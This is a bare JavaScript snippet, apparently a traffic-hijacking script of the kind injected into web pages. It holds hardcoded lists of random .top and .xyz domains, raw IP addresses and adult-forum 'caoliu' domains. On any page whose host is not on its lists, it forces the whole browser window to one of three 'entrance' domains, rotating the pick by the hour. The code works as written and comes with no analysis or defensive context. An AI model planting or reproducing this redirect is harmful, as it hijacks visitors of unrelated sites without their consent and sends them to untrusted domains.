var needgo = true; var domain_list = ["954c0fd996be4.top","caoliu1024.com","1024caoliu.com","caoliu.sex","954c0fd996be4.top","9a391dfe2dd9c.top","9bd26918cc827.top","9e653ee2cbf55.top","a2998fcc2379e.top","ab8cf04a48a5f.top","9e653ee2cbf55.top","c3dc8107d9bc0.top","clvone.f6697b3498d21e.top","newtest.4f2d3ee68143.xyz","cledb1.com","cleca6.com","54.65.159.84","15.152.94.1","yac3cb18b5ac.top"]; var entrance_list = ["954c0fd996be4.top","9a391dfe2dd9c.top","9bd26918cc827.top"]; var second_list = ["9e653ee2cbf55.top","a2998fcc2379e.top","ab8cf04a48a5f.top"]; var entrance_site_ignore = ["clvone.f6697b3498d21e.top","newtest.4f2d3ee68143.xyz","cledb1.com","cleca6.com","54.65.159.84","15.152.94.1","yac3cb18b5ac.top"]; var web_host = window.location.host.toLowerCase(); var tiaourl = 1; for (var i = 0; i < domain_list.length; i++) { if (web_host.indexOf(domain_list[i]) >= 0) { tiaourl = 0; } } for (var j = 0; j < entrance_site_ignore.length; j++) { if (web_host.indexOf(entrance_site_ignore[j]) >= 0) { tiaourl = 0; } } var gourl = ""; if (tiaourl) { var hour = (new Date).getHours(); var len = entrance_list.length; if(len){ var iRandKey = hour % len; gourl = entrance_list[iRandKey]; } } if(gourl && needgo){ top.location = "http://"+gourl; }